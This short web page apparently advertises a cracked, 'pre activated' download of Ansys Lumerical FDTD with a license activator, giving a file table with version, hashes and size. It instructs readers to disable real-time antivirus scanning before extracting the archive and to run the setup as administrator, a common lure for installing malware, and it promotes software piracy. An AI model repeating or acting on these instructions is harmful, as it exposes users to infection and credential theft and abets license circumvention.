Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Ansys_Lumerical_FDTD_v7.10_x64_setup.zip |
| Version | v7.10.8733 build 63450 |
| File Size | 3.38 GB (3465 MB) |
| MD5 Hash | 4a37a3e792d9f6568c149e261072130b |
| SHA-256 | 19747b96b90637ddb49aa6fc057b3a9d9842ff62b428788ad8f4595ec9a17a05 |
| Release Date | 2025-11-13 |
| Platform | Windows 10 (x64) / Server 2019 |
| Archive Password | verified |
| License Type | Pro / Enterprise |
With our updated distribution package for Ansys Lumerical FDTD pre activated offline installer, users can deploy professional-grade software without licensing interruptions. Make sure to disable real-time antivirus scanning before extracting the archive, then run the setup as administrator.